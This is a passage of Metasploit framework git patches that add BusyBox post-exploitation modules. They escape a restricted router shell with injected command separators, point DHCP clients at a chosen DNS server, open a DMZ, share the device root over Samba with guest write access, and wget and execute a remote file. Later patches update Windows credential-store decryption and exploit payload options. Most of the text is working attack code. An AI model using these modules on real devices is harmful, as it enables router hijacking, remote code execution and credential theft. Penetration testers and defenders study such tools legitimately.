run + hosts_file = nil + if file_exists("/var/hosts") + hosts_file = "/var/hosts" + elsif file_exists("/var/udhcpd/udhcpd.leases") + hosts_file = "/var/udhcpd/udhcpd.leases" + else + vprint_error("Files not found: /var/hosts, /var/udhcpd/udhcpd.leases.") + return + end + #File exists + begin + str_file=read_file(hosts_file) + print_good("Hosts File found: #{hosts_file}.") + vprint_line(str_file) + #Store file + p = store_loot("Hosts", "text/plain", session, str_file, hosts_file, "BusyBox Device Connected Hosts") + print_good("Hosts saved to #{p}.") + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file: #{hosts_file}, file may be empty.") + end + end + + #file? doesnt work because test -f is not implemented in busybox + def file_exists(file_path) + s = read_file(file_path) + if s and s.length + return true + end + return false + end + +end diff --git a/modules/post/linux/gather/busybox_pingnet.rb b/modules/post/linux/gather/busybox_pingnet.rb new file mode 100644 index 0000000000..d85f0c4b80 --- /dev/null +++ b/modules/post/linux/gather/busybox_pingnet.rb @@ -0,0 +1,165 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + def initialize + super( + 'Name' => 'BusyBox Ping Network', + 'Description' => 'This module will be applied on a session connected + to a BusyBox sh shell. The script will ping a range of + ip adresses from the router or device executing BusyBox.', + 'Author' => 'Javier Vicente Vallejo', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://vallejo.cc'] + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell'] + ) + + register_options( + [ + OptAddress.new('IPRANGESTART', [ true, "The first ip address of the range to ping.", nil ]), + OptAddress.new('IPRANGEEND', [ true, "The last ip address of the range to ping.", nil ]) + ], self.class) + + end + + def run + + #this module will send a sh script for busybox shell for doing ping to a range of ip address from + #the router or device that is executing busybox. It could be possible to calculate each ip address + #of the range of ip addresses in the ruby script and execute each ping command with cmd_exec, but + #it would generate an unnecesary traffic in the connection with the busybox device (usually telnet) + + sh_script_lines=[ + "#!/bin/sh", + "param1=#{datastore['IPRANGESTART']}", + "param2=#{datastore['IPRANGEEND']}", + "while true;", + " param1cpy=\"$param1\"", + " pos=`expr index \"$param1cpy\" \".\"`", + " pos=`expr $pos - 1`", + " octec1=`expr substr \"$param1cpy\" 1 $pos`", + " pos=`expr $pos + 2`", + " len=`expr length \"$param1cpy\"`", + " param1cpy=`expr substr \"$param1cpy\" $pos $len`", + " pos=`expr index \"$param1cpy\" \".\"`", + " pos=`expr $pos - 1`", + " octec2=`expr substr \"$param1cpy\" 1 $pos`", + " pos=`expr $pos + 2`", + " len=`expr length \"$param1cpy\"`", + " param1cpy=`expr substr \"$param1cpy\" $pos $len`", + " pos=`expr index \"$param1cpy\" \".\"`", + " pos=`expr $pos - 1`", + " octec3=`expr substr \"$param1cpy\" 1 $pos`", + " pos=`expr $pos + 2`", + " len=`expr length \"$param1cpy\"`", + " param1cpy=`expr substr \"$param1cpy\" $pos $len`", + " octec4=\"$param1cpy\"", + " carry=0", + " len=`expr length \"$octec4\"`", + " temp=`expr match \"$octec4\" \"255\"`", + " if [ $temp -eq $len ]; then", + " octec4=0", + " carry=1", + " else", + " octec4=`expr $octec4 + 1`", + " fi", + " if [ $carry -eq 1 ]; then", + " carry=0", + " len=`expr length \"$octec3\"`", + " temp=`expr match \"$octec3\" \"255\"`", + " if [ $temp -eq $len ]; then", + " octec3=0", + " carry=1", + " else", + " octec3=`expr \"$octec3\" + 1`", + " fi", + " fi", + " if [ $carry -eq 1 ]; then", + " carry=0", + " len=`expr length \"$octec2\"`", + " temp=`expr match \"$octec2\" \"255\"`", + " if [ $temp -eq $len ]; then", + " octec2=0", + " carry=1", + " else", + " octec2=`expr $octec2 + 1`", + " fi", + " fi", + " if [ $carry -eq 1 ]; then", + " carry=0", + " len=`expr length \"$octec1\"`", + " temp=`expr match \"$octec1\" \"255\"`", + " if [ $temp -eq $len ]; then", + " octec1=0", + " carry=1", + " else", + " octec1=`expr $octec1 + 1`", + " fi", + " fi", + " ping -c 1 \"$param1\"", + " param1=\"$octec1\"\".\"\"$octec2\"\".\"\"$octec3\"\".\"\"$octec4\"", + " temp=`expr match \"$param1\" \"$param2\"`", + " len=`expr length \"$param2\"`", + " if [ $temp -eq $len ]; then", + " ping -c 1 \"$param1\"", + " break", + " fi", + "done" + ] + + begin + #send script and receive echos + count=0 + sh_script_lines.each do |sh_script_line| + session.shell_write(sh_script_line + "\n") + count+=1 + result=session.shell_read() #receive echos + vprint_status(result) + Rex::sleep(0.03) + end + rescue + print_error("Problems were found while sending script to the BusyBox device.") + return + end + Rex::sleep(1.00) + + full_results = "" + begin + #receiving ping results + count=0 + print_status("Script has been sent to the busybox device. Doing ping to the range of addresses.") + while count<15 #we stop when we have been 15 seconds without receiving responses + result = session.shell_read() + if result.length>0 + count=0 + print_status(result) + full_results << result + else + vprint_status("No response.") + count+=1 + end + Rex::sleep(1.00) + end + rescue + print_warning("Problems were found while receiving ping results. Probably remote device terminated the connection.\nResults that were already received will be kept.") + end + + #storing results + + p = store_loot("Pingnet", "text/plain", session, full_results, "#{datastore['IPRANGESTART']}"+"-"+"#{datastore['IPRANGEEND']}", "BusyBox Device Network Range Pings") + print_good("Pingnet results saved to #{p}.") + + end + +end diff --git a/modules/post/linux/manage/busybox_jailbreak.rb b/modules/post/linux/manage/busybox_jailbreak.rb new file mode 100644 index 0000000000..c3111b7196 --- /dev/null +++ b/modules/post/linux/manage/busybox_jailbreak.rb @@ -0,0 +1,64 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + def initialize + super( + 'Name' => 'BusyBox Jailbreak ', + 'Description' => 'This module will send a set of commands to a open + session that is connected to a BusyBox limited shell + (i.e. a router limited shell). It will try different + known tricks to try to jailbreak the limited shell and + get a full sh busybox shell.', + 'Author' => 'Javier Vicente Vallejo', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://vallejo.cc'] + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell'] + ) + end + + def run + bfound = false + bfound = try_command("cat xx || sh\n","1_1") unless bfound + bfound = try_command("ping || sh\n","1_2") unless bfound + bfound = try_command("echo `sh >> /dev/ttyp0`\n","2_1") unless bfound + bfound = try_command("ping `sh >> /dev/ttyp0`\n","2_2") unless bfound + bfound = try_command("cat `sh >> /dev/ttyp0`\n","2_3") unless bfound + bfound = try_command("cat xx;sh\n","3_1") unless bfound + bfound = try_command("echo xx;sh\n","3_2") unless bfound + bfound = try_command("ping;sh\n","3_3") unless bfound + bfound = try_command("cat xx | sh\n","4_1") unless bfound + bfound = try_command("ping | sh\n","4_2") unless bfound + bfound = try_command("cat ($sh)\n","5_1") unless bfound + bfound = try_command("echo ($sh) xx\n","5_2") unless bfound + bfound = try_command("ping ($sh)\n","5_3") unless bfound + bfound = try_command("cat xx && sh\n","6_1") unless bfound + bfound = try_command("echo xx && sh\n","6_2") unless bfound + bfound = try_command("ping && sh\n","3_3") unless bfound + print_error("Unable to jailbreak device shell.") if !bfound + end + + def try_command(param_command, method_number) + vprint_status("jailbreak sent: #{param_command}.") + session.shell_write(param_command) + (1..10).each do + resp = session.shell_read() + vprint_status("jailbreak received: #{resp}.") + if ((resp.include? "BusyBox") && (resp.include? "Built-in shell")) + vprint_status("Done method " + method_number + ".") + return true + end + end + return false + end + +end diff --git a/modules/post/linux/manage/busybox_setdmz.rb b/modules/post/linux/manage/busybox_setdmz.rb new file mode 100644 index 0000000000..e09f35fc71 --- /dev/null +++ b/modules/post/linux/manage/busybox_setdmz.rb @@ -0,0 +1,49 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + def initialize + super( + 'Name' => 'BusyBox Set Dmz', + 'Description' => 'This module will be applied on a session connected + to a BusyBox sh shell. The script will enable or disable dmz + to a network host in the router or device executing BusyBox.', + 'Author' => 'Javier Vicente Vallejo', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://vallejo.cc'] + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell'] + ) + + register_options([ + OptAddress.new('TARGETHOST', [ true, "The address of the host to be target for the dmz", nil ]), + OptBool.new('DELETE', [false, "If this option is set to true, the DMZ is removed. Else it is added.", false]) + ], self.class) + + end + + def run + + if datastore['DELETE'] == true + vprint_status("Executing iptables to delete dmz.") + vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT")) + else + vprint_status("Executing iptables to add dmz.") + vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGETHOST']} -j ACCEPT")) + end + if datastore['VERBOSE'] + vprint_status(cmd_exec("iptables --list")) + end + print_good("Dmz modified. Enable verbose for additional information.") + + end + +end diff --git a/modules/post/linux/manage/busybox_setdns.rb b/modules/post/linux/manage/busybox_setdns.rb new file mode 100644 index 0000000000..5e58417dd4 --- /dev/null +++ b/modules/post/linux/manage/busybox_setdns.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + def initialize + super( + 'Name' => 'BusyBox Set Dns', + 'Description' => 'This module will be applied on a session connected + to a BusyBox sh shell. The script will set dns addresses + to the router or device executing BusyBox to be sent + by dhcp server to network hosts.', + 'Author' => 'Javier Vicente Vallejo', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://vallejo.cc'] + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell'] + ) + + register_options( + [ + OptAddress.new('SRVHOST', [ true, "The dns server address.", nil ]) + ], self.class) + + end + + #The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update + #udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp + + def run + + workdone = false + vprint_status("Searching for files to modify dns server.") + if file_exists("/etc/resolv.conf") + vprint_status("Resolv.conf found.") + if is_writable_and_write("/etc/resolv.conf", "nameserver #{datastore['SRVHOST']}", false) + print_good("Dns server added to resolv.conf.") + workdone = true + end + end + if file_exists("/etc/udhcpd.conf") + vprint_status("Udhcpd.conf found.") + original_content = read_file("/etc/udhcpd.conf") + vprint_status("Original udhcpd.conf content:") + vprint_status(original_content) + if is_writable_and_write("/etc/udhcpd.conf", "option dns #{datastore['SRVHOST']}", false) + vprint_status("Udhcpd.conf is writable.") + is_writable_and_write("/etc/udhcpd.conf", original_content, true) + vprint_status("Relaunching udhcp server:") + cmd_exec("killall dhcpd\n") + cmd_exec("dhcpd /etc/udhcpd.conf &\n") + print_good("Udhcpd.conf modified and dns server added. Dhcpd restarted.") + else + vprint_status("Unable to write udhcpd.conf. Trying to copy the file to a writable directory.") + writable_directory = nil + vprint_.status("Trying to find writable directory.") + writable_directory = "/etc/" if is_writable_and_write("/etc/tmp.conf", "x", false) + writable_directory = "/mnt/" if (!writable_directory && is_writable_and_write("/mnt/tmp.conf", "x", false)) + writable_directory = "/var/" if (!writable_directory && is_writable_and_write("/var/tmp.conf", "x", false)) + writable_directory = "/var/tmp/" if (!writable_directory && is_writable_and_write("/var/tmp/tmp.conf", "x", false)) + if writable_directory + vprint_status("writable directory found, creating a copy of the original udhcpd.conf.") + is_writable_and_write("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", false) + is_writable_and_write("#{writable_directory}tmp.conf", original_content, true) + vprint_status("Relaunching udhcp server:") + cmd_exec("killall dhcpd\n") + cmd_exec("dhcpd #{writable_directory}tmp.conf &\n") + print_good("Udhcpd.conf copied to writable directory and dns server added. Dhcpd restarted.") + workdone = true + else + vprint_error("Writable directory not found.") + end + end + end + if !workdone + print_error("Unable to modify dns server.") + end + + end + + #This function checks if the target file is writable and writes or append the data given as parameter. + #BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for + #this reason it is necessary to implement an specific function + + def is_writable_and_write(file_path, data, append) + if append + data = read_file(file_path) + "\n" + data + end + rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} + session.shell_write("echo #{rand_str} > #{file_path}\n"); Rex::sleep(0.1) + session.shell_read(); Rex::sleep(0.1) + if read_file(file_path).include? rand_str + session.shell_write("echo \"\"> #{file_path}\n"); Rex::sleep(0.1) + session.shell_read(); Rex::sleep(0.1) + lines = data.lines.map(&:chomp) + lines.each do |line| + session.shell_write("echo #{line.chomp} >> #{file_path}\n"); Rex::sleep(0.1) + session.shell_read(); Rex::sleep(0.1) + end + return true + else + return false + end + end + + #file? doesnt work because test -f is not implemented in busybox + def file_exists(file_path) + s = read_file(file_path) + if s and s.length + return true + end + return false + end + +end diff --git a/modules/post/linux/manage/busybox_smb_share_root.rb b/modules/post/linux/manage/busybox_smb_share_root.rb new file mode 100644 index 0000000000..0a16a66b91 --- /dev/null +++ b/modules/post/linux/manage/busybox_smb_share_root.rb @@ -0,0 +1,74 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + def initialize + super( + 'Name' => 'BusyBox Smb Share Root', + 'Description' => 'This module will be applied on a session connected + to a BusyBox sh shell. The script will modify the + smb configuration of the the router or device executing + BusyBox to share the root directory of the device.', + 'Author' => 'Javier Vicente Vallejo', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://vallejo.cc'] + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell'] + ) + + end + + def run + vprint_status("Trying to find smb.conf.") + if read_file("/var/samba/smb.conf").length > 0 #file? doesnt work because test -f is not implemented in busybox + vprint_status("Smb.conf found.") + vprint_status("Trying to find writable directory.") + writable_directory = nil + writable_directory = "/etc/" if is_writable_directory("/etc") + writable_directory = "/mnt/" if (!writable_directory && is_writable_directory("/mnt")) + writable_directory = "/var/" if (!writable_directory && is_writable_directory("/var")) + writable_directory = "/var/tmp/" if (!writable_directory && is_writable_directory("/var/tmp")) + if writable_directory + vprint_status("writable directory found, copying smb.conf.") + vprint_status(cmd_exec("rm -f #{writable_directory}smb.conf")); Rex::sleep(0.1) + vprint_status(cmd_exec("cp -f /var/samba/smb.conf #{writable_directory}smb.conf")); Rex::sleep(0.1) + vprint_status(cmd_exec("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{writable_directory}smb.conf")); Rex::sleep(0.1) + vprint_status(cmd_exec("killall smbd")); Rex::sleep(0.1) + vprint_status(cmd_exec("smbd -D -s #{writable_directory}smb.conf")); Rex::sleep(0.1) + vprint_status(cmd_exec("smbd -D -s=#{writable_directory}smb.conf")); Rex::sleep(0.1) + print_good("Smb configuration has been modified.") + else + print_error("Writable directory not found.") + end + else + print_error("Smb.conf not found.") + end + end + + #This function checks if the target directory is writable + def is_writable_directory(directory_path) + retval = false + rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} + file_path = directory_path + "/" + rand_str + session.shell_write("echo #{rand_str}XXX#{rand_str} > #{file_path}\n"); Rex::sleep(0.1) + (1..5).each{session.shell_read(); Rex::sleep(0.1)} + rcv = read_file(file_path) + vprint_status("is_writable_directory:"+rcv) + if rcv.include? (rand_str+"XXX"+rand_str) + retval = true + end + cmd_exec("rm -f #{file_path}"); Rex::sleep(0.1) + return retval + end + +end diff --git a/modules/post/linux/manage/busybox_wgetandexec.rb b/modules/post/linux/manage/busybox_wgetandexec.rb new file mode 100644 index 0000000000..5b87342e07 --- /dev/null +++ b/modules/post/linux/manage/busybox_wgetandexec.rb @@ -0,0 +1,89 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + def initialize + super( + 'Name' => 'BusyBox Wget and Exec', + 'Description' => 'This module will be applied on a session connected + to a BusyBox sh shell. The script will use wget to download + a file to the router or device executing BusyBox and then + it executes the download file.', + 'Author' => 'Javier Vicente Vallejo', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://vallejo.cc'] + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell'] + ) + + register_options( + [ + OptString.new('URL', [true, 'Full URL of file to download.']) + ], self.class) + + end + + #The module tries to update resolv.conf file with the SRVHOST dns address. It tries to update + #udhcpd.conf too, with SRVHOST dns address, that should be given to network's hosts via dhcp + + def run + vprint_status("Trying to find writable directory.") + writable_directory = nil + writable_directory = "/etc/" if is_writable_directory("/etc") + writable_directory = "/mnt/" if (!writable_directory && is_writable_directory("/mnt")) + writable_directory = "/var/" if (!writable_directory && is_writable_directory("/var")) + writable_directory = "/var/tmp/" if (!writable_directory && is_writable_directory("/var/tmp")) + if writable_directory + vprint_status("writable directory found, downloading file.") + rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} + random_file_path = writable_directory + rand_str + cmd_exec("wget -O #{random_file_path} #{datastore['URL']}"); Rex::sleep(0.1) + if file_exists(random_file_path) + print_good("File downloaded using wget. Executing it.") + cmd_exec("chmod 777 #{random_file_path}"); Rex::sleep(0.1) + vprint_status(cmd_exec("sh #{random_file_path}")) + else + print_error("Unable to download file.") + end + else + print_error("Writable directory not found.") + end + end + + #This function checks if the target directory is writable + + def is_writable_directory(directory_path) + retval = false + rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr} + file_path = directory_path + "/" + rand_str + session.shell_write("echo #{rand_str}XXX#{rand_str} > #{file_path}\n"); Rex::sleep(0.1) + (1..5).each{session.shell_read(); Rex::sleep(0.1)} + rcv = read_file(file_path) + vprint_status("is_writable_directory:"+rcv) + if rcv.include? (rand_str+"XXX"+rand_str) + retval = true + end + cmd_exec("rm -f #{file_path}"); Rex::sleep(0.1) + return retval + end + + #file? doesnt work because test -f is not implemented in busybox + def file_exists(file_path) + s = read_file(file_path) + if s and s.length + return true + end + return false + end + +end From 76f6312fab9e490a8588232fd7e6cd67eab02be4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 10 Aug 2015 15:15:51 -0500 Subject: [PATCH 0242/2172] Fix #3916 Support 64 bits targets on enum_cred_store --- .../gather/credentials/enum_cred_store.rb | 35 ++++++++++++------- 1 file changed, 23 insertions(+), 12 deletions(-) diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index 0b0ff2ba4f..b81974452c 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -176,13 +176,18 @@ class Metasploit3 < Msf::Post adv32 = session.railgun.advapi32 ret = adv32.CredEnumerateA(nil,0,4,4) p_to_arr = ret["Credentials"].unpack("V") - arr_len = ret["Count"] * 4 if is_86 - arr_len = ret["Count"] * 8 unless is_86 + if is_86 + count = ret["Count"] + arr_len = count * 4 + else + count = ret["Count"] & 0x00000000ffffffff + arr_len = count * 8 + end #tell user what's going on - print_status("#{ret["Count"]} credentials found in the Credential Store") + print_status("#{count} credentials found in the Credential Store") return credentials unless arr_len > 0 - if ret["Count"] > 0 + if count > 0 print_status("Decrypting each set of credentials, this may take a minute...") #read array of addresses as pointers to each structure @@ -193,24 +198,29 @@ class Metasploit3 < Msf::Post #loop through the addresses and read each credential structure pcred_array.each do |pcred| cred = {} - raw = read_str(pcred, 52,2) + if is_86 + raw = read_str(pcred, 52, 2) + else + raw = read_str(pcred, 80, 2) + end + cred_struct = raw.unpack("VVVVQ<VVVVVVV") if is_86 cred_struct = raw.unpack("VVQ<Q<Q<Q<Q<VVQ<Q<Q<") unless is_86 cred["flags"] = cred_struct[0] cred["type"] = cred_struct[1] - cred["targetname"] = read_str(cred_struct[2],512, 1) - cred["comment"] = read_str(cred_struct[3],256, 1) + cred["targetname"] = read_str(cred_struct[2], 512, 1) + cred["comment"] = read_str(cred_struct[3], 256, 1) cred["lastdt"] = cred_struct[4] cred["persist"] = cred_struct[7] cred["attribcnt"] = cred_struct[8] cred["pattrib"] = cred_struct[9] - cred["targetalias"] = read_str(cred_struct[10],256, 1) - cred["username"] = read_str(cred_struct[11],513, 1) + cred["targetalias"] = read_str(cred_struct[10], 256, 1) + cred["username"] = read_str(cred_struct[11], 513, 1) - if cred["targetname"].include? "TERMSRV" - cred["password"] = read_str(cred_struct[6],cred_struct[5],0) + if cred["targetname"].include?('TERMSRV') + cred["password"] = read_str(cred_struct[6], cred_struct[5], 0) elsif cred["type"] == 1 - decrypted = decrypt_blob(cred_struct[6],cred_struct[5], 1) + decrypted = decrypt_blob(cred_struct[6], cred_struct[5], 1) cred["username"] = decrypted.split(':')[0] || "No Data" cred["password"] = decrypted.split(':')[1] || "No Data" elsif cred["type"] == 4 @@ -218,6 +228,7 @@ class Metasploit3 < Msf::Post else cred["password"] = "unsupported type" end + #only add to array if there is a target name unless cred["targetname"] == "Error Decrypting" or cred["password"] == "unsupported type" print_status("Credential sucessfully decrypted for: #{cred["targetname"]}") From 203c231b7422ca74578afa9125289654172d2d57 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 10 Aug 2015 17:12:59 -0500 Subject: [PATCH 0243/2172] Fix #5659: Update CMD exploits payload compatibility options --- modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb | 2 +- modules/exploits/linux/http/gitlist_exec.rb | 2 +- modules/exploits/linux/http/kloxo_sqli.rb | 2 +- modules/exploits/linux/http/openfiler_networkcard_exec.rb | 2 +- modules/exploits/linux/http/railo_cfml_rfi.rb | 2 +- modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb | 2 +- modules/exploits/linux/http/zen_load_balancer_exec.rb | 2 +- .../exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb | 2 +- modules/exploits/linux/misc/accellion_fta_mpipe2.rb | 2 +- modules/exploits/linux/misc/nagios_nrpe_arguments.rb | 2 +- modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb | 2 +- modules/exploits/multi/http/cups_bash_env_exec.rb | 2 +- modules/exploits/multi/http/git_client_command_exec.rb | 2 +- modules/exploits/multi/http/moodle_cmd_exec.rb | 2 +- modules/exploits/multi/http/openmediavault_cmd_exec.rb | 2 +- modules/exploits/multi/http/phptax_exec.rb | 2 +- modules/exploits/multi/http/snortreport_exec.rb | 2 +- modules/exploits/multi/http/zabbix_script_exec.rb | 2 +- modules/exploits/multi/misc/hp_vsa_exec.rb | 2 +- modules/exploits/osx/browser/software_update.rb | 4 ++-- modules/exploits/osx/email/mailapp_image_exec.rb | 2 +- modules/exploits/unix/dhcp/bash_environment.rb | 2 +- modules/exploits/unix/ftp/proftpd_modcopy_exec.rb | 2 +- modules/exploits/unix/http/ctek_skyrouter.rb | 2 +- modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb | 2 +- modules/exploits/unix/misc/distcc_exec.rb | 4 ++-- modules/exploits/unix/misc/spamassassin_exec.rb | 4 ++-- modules/exploits/unix/smtp/clamav_milter_blackhole.rb | 4 ++-- modules/exploits/unix/smtp/exim4_string_format.rb | 2 +- modules/exploits/unix/webapp/awstats_configdir_exec.rb | 4 ++-- modules/exploits/unix/webapp/awstats_migrate_exec.rb | 4 ++-- modules/exploits/unix/webapp/awstatstotals_multisort.rb | 4 ++-- modules/exploits/unix/webapp/barracuda_img_exec.rb | 4 ++-- modules/exploits/unix/webapp/basilic_diff_exec.rb | 2 +- modules/exploits/unix/webapp/cacti_graphimage_exec.rb | 2 +- modules/exploits/unix/webapp/dogfood_spell_exec.rb | 4 ++-- modules/exploits/unix/webapp/foswiki_maketext.rb | 2 +- modules/exploits/unix/webapp/generic_exec.rb | 4 ++-- modules/exploits/unix/webapp/google_proxystylesheet_exec.rb | 4 ++-- modules/exploits/unix/webapp/guestbook_ssi_exec.rb | 4 ++-- modules/exploits/unix/webapp/mitel_awc_exec.rb | 2 +- modules/exploits/unix/webapp/nagios3_statuswml_ping.rb | 2 +- modules/exploits/unix/webapp/nagios_graph_explorer.rb | 2 +- modules/exploits/unix/webapp/narcissus_backend_exec.rb | 2 +- modules/exploits/unix/webapp/opensis_modname_exec.rb | 2 +- modules/exploits/unix/webapp/php_charts_exec.rb | 2 +- modules/exploits/unix/webapp/phpbb_highlight.rb | 4 ++-- modules/exploits/unix/webapp/qtss_parse_xml_exec.rb | 4 ++-- modules/exploits/unix/webapp/skybluecanvas_exec.rb | 2 +- modules/exploits/unix/webapp/squirrelmail_pgp_plugin.rb | 4 ++-- modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb | 4 ++-- modules/exploits/unix/webapp/twiki_maketext.rb | 2 +- .../exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb | 2 +- modules/exploits/unix/webapp/webmin_show_cgi_exec.rb | 2 +- .../exploits/unix/webapp/zoneminder_packagecontrol_exec.rb | 2 +- 55 files changed, 71 insertions(+), 71 deletions(-) diff --git a/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb b/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb index d631e258a6..6640a05340 100644 --- a/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb +++ b/modules/exploits/linux/http/accellion_fta_getstatus_oauth.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl bash telnet', + 'RequiredCmd' => 'generic perl telnet', } }, 'Targets' => diff --git a/modules/exploits/linux/http/gitlist_exec.rb b/modules/exploits/linux/http/gitlist_exec.rb index 22c67b55c6..2c4caca16b 100644 --- a/modules/exploits/linux/http/gitlist_exec.rb +++ b/modules/exploits/linux/http/gitlist_exec.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic telnet python perl bash gawk netcat netcat-e ruby php openssl', + 'RequiredCmd' => 'generic telnet python perl gawk netcat netcat-e ruby php openssl', } }, 'Targets' => diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index f933a516aa..e3c2a9b4a8 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl python gawk bash-tcp netcat' + 'RequiredCmd' => 'generic perl python gawk netcat' } }, 'Targets' => diff --git a/modules/exploits/linux/http/openfiler_networkcard_exec.rb b/modules/exploits/linux/http/openfiler_networkcard_exec.rb index 806a86b0f8..92758f4152 100644 --- a/modules/exploits/linux/http/openfiler_networkcard_exec.rb +++ b/modules/exploits/linux/http/openfiler_networkcard_exec.rb @@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic telnet python perl bash', + 'RequiredCmd' => 'generic telnet python perl', } }, 'Targets' => diff --git a/modules/exploits/linux/http/railo_cfml_rfi.rb b/modules/exploits/linux/http/railo_cfml_rfi.rb index 3684db5572..c9d90752ab 100644 --- a/modules/exploits/linux/http/railo_cfml_rfi.rb +++ b/modules/exploits/linux/http/railo_cfml_rfi.rb @@ -38,7 +38,7 @@ class Metasploit4 < Msf::Exploit::Remote 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic netcat perl ruby python bash telnet' + 'RequiredCmd' => 'generic netcat perl ruby python telnet' } }, 'Platform' => %w( unix ), diff --git a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb index a46b899f37..dab96c8f57 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic perl bash telnet' + 'RequiredCmd' => 'generic perl telnet' } }, 'Platform' => ['unix'], diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index f4cfd0765d..ea71d4ea05 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic netcat netcat-e perl bash', + 'RequiredCmd' => 'generic netcat netcat-e perl', } }, 'Targets' => diff --git a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb index bd00e11e29..35883c3c1b 100644 --- a/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb +++ b/modules/exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Compat' => { 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic python perl bash', + 'RequiredCmd' => 'generic python perl', }, 'Targets' => [ diff --git a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb b/modules/exploits/linux/misc/accellion_fta_mpipe2.rb index fbf607d392..d60f8cd99d 100644 --- a/modules/exploits/linux/misc/accellion_fta_mpipe2.rb +++ 